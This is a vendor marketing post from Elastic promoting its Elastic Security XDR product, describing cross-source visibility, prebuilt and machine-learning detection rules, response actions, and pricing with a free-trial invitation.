Todayʼs threat landscape is complex and dynamic, with attacks originating from various sources and targeting diverse environments. By correlating information from endpoints, networks, cloud workloads, and more, extended detection and response (XDR) offers a holistic view of the security posture, protecting against increasingly complex threats. The shift from endpoint detection and response (EDR) to XDR is a critical evolution in security operations, offering more robust, efficient, and effective defense mechanisms.

XDR security from Elastic is designed to protect data across the entire organization — regardless of where it resides. Elastic Security helps organizations improve detection rates, reduce response times, and mitigate overall risk by unifying data types and providing limitless ingestion, analysis, and protection.

• Extended visibility: Elastic provides a unified view of your security landscape, encompassing endpoints, networks, and cloud environments. This comprehensive perspective empowers analysts to see the big picture and connect the dots between potential threats. With hundreds of integrations and the AI-driven Automatic Import feature at the ready, your team can seamlessly onboard all types of data from various sources, expanding your visibility across the organization.
• XDR detection capabilities: Elastic Securityʼs AI-driven security analytics correlates data across all sources to uncover sophisticated threats that often evade detection by individual security solutions. Our vast library, with hundreds of prebuilt rules mapped to the MITRE ATT&CK® matrix, combined with proprietary research and detection content from Elastic Security Labs, helps you separate the signal from the noise so you can focus on actual threats. Elastic Security also provides more than 75 machine learning detection rules to automatically detect anomalies across numerous security domains like suspicious user or host activity.
• Native and third-party responses: Analysts often face an overwhelming volume of alerts, making it challenging to focus on legitimate threats. To address this, Elastic security offers both native and third-party response actions to stop attackers in their tracks.

We believe XDR should be accessible to every organization, regardless of budget constraints. Thatʼs why our XDR solution is included without any hidden costs or “optional extras.” Our comprehensive visibility goes beyond endpoint telemetry, eliminating the need for additional licenses to unlock full XDR capabilities — all included in the Elastic Security solution. With no per-host or per-agent charges, you have the flexibility to provide coverage where and when you need it.

Read more: You thought Elastic only did SIEM? Think again!

Get started with Elastic Security

Join the growing number of businesses that trust Elastic Security to protect their organization against attacks. Experience the peace of mind that comes with knowing your endpoints — and organization as a whole — are secure against the latest threats. Start your Elastic Security free trial and discover the difference that our protection can make. Visit elastic.co/security to learn more and get started.

For more detailed results and to see the full report, visit the AV-Comparatives Business Security Test 2025 website.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.